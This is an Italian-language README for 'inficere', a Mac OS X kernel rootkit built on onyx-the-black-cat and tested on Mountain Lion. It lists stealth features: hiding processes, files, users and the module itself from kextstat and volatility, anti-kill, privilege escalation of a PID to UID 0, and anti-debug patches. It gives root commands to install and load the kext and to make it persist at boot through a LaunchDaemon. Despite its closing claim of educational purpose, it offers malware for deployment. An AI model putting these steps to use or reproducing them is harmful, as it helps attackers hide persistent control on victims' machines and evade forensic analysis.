inficere

Versione pubblica del mio rootkit per Mac OS X costruito sopra l'onyx-the-black-cat di fractalG (https://github.com/gdbinit/onyx-the-black-cat)

Testato solo su Mountain Lion, dalla 10.8.2 alla 10.8.5. Non è garantito che funzioni su altre versioni.

Caratteristiche

• occultamento processi - nasconde da 'ps PID', 'ps aux', Activity Monitor, top, ecc.
• occultamento file/directory
• occultamento utenti - nasconde un utente specifico da 'who', 'w'
• auto-occultamento - nasconde il modulo stesso da kextstat e volatility
• anti-kill
• PID a UID 0
• trucchi anti-debug (per lo più da @osxreverser) - anti-anti-ptrace, patch task_for_pid(0), ecc.

Istruzioni

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Per la persistenza all'avvio:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere nasconderà i file sopra indicati dopo il caricamento.

Vorrei sottolineare che ho realizzato questo solo per scopi educativi.